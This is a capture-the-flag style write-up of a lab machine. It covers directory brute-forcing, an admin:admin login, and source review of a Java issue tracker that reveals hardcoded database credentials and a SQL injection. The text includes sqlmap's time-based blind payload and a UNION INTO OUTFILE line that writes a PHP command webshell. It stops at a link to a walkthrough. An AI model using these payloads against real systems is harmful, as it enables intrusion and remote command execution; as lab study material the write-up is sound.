Web Enum -> Source Code

Port 17445 had some kind of ticket creator:

Default creds didn't work, so let's move on. Port 30445 just didn't load for me for some reason.

Port 50080 shows a Pizza website:

The website was rather static. I did a directory scan on all the ports. Port 50080 has a /cloud directory:

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.157.147:50080 -t 100

When viewed, it shows a login page:

We can login with admin:admin. There, we see an issuetracker.zip file:

We can download this to our Kali machine and unzip it. This would reveal source code for a website.

Source Code Analysis -> SQLI RCE

The source code was in Java and for the application running on port 17445. I looked thorugh the files and found this within src/main/java/com/issue/tracker/issues/IssueController.java:

        @GetMapping("/issue/checkByPriority")
        public String checkByPriority(@RequestParam("priority") String priority, Model model) {
                // 
                // Custom code, need to integrate to the JPA
                //
            Properties connectionProps = new Properties();
            connectionProps.put("user", "issue_user");
            connectionProps.put("password", "ManagementInsideOld797");
        try {
                        conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/issue_tracker",connectionProps);
                    String query = "SELECT message FROM issue WHERE priority='"+priority+"'";
            System.out.println(query);
                    Statement stmt = conn.createStatement();
                    stmt.executeQuery(query);

This bit of code here gave us credentials, and also is vulnerable to SQL injection since the priority variable is not sanitsed before being passed in. I registed a user on the machine, and then proceeded to test the SQL Injection using sqlmap:

$ sqlmap -r req
---
Parameter: priority (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: priority=' AND (SELECT 3165 FROM (SELECT(SLEEP(5)))JlSD) AND 'aCou'='aCou
---

Normally, this should be rather easy to write a webshell using a payload like this:

' union select '<?php system($_REQUEST['cmd']); ?>' into outfile '/srv/http/cmd.php' -- -

However I don't know the document root, and sqlmap brute force doesn't seem to work. I took a hint and realised that port 30445 was supposed to host phpinfo.php, but it was unresponsive.

I read the walkthrough and it shows that /srv/http is the document root taken from phpinfo.php, which would allow me to write a webshell to port 30445.

Here's a link to the supposed solution:
